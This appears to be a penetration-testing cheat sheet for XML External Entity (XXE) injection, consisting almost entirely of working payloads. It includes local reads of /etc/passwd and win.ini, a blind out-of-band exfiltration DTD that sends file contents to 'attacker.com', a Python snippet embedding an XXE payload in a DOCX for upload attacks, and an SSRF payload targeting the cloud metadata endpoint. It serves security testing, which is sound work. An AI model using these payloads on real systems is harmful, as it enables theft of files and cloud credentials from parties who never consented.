XML External Entity (XXE) Injection
Detection
Inject a custom DOCTYPE with an external entity reference:
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://burpcollaborator.net">]>
<root>&xxe;</root>
If the collaborator receives a DNS/HTTP callback: XXE confirmed.
Classic XXE (Local File Read)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
Blind XXE (OOB via DTD)
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd"> %xxe;]>
<foo>bar</foo>
malicious.dtd (hosted on attacker.com):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
XXE via File Upload
Test XML-based file formats: DOCX, XLSX, PPTX, SVG, ODT, RSS.
# DOCX = zip containing XML files — inject XXE into word/document.xml
import zipfile, shutil, os
shutil.copy('normal.docx', 'xxe.docx')
with zipfile.ZipFile('xxe.docx', 'a') as z:
z.writestr('word/document.xml',
'<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>')
XXE to SSRF
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
Tools
- Burp Suite — active scanner detects XXE
- XXEInjector — automated XXE exfiltration
- DTD cheat sheet — HackTricks reference
OWASP Mapping
- A05:2021 — Security Misconfiguration (XML parser hardening)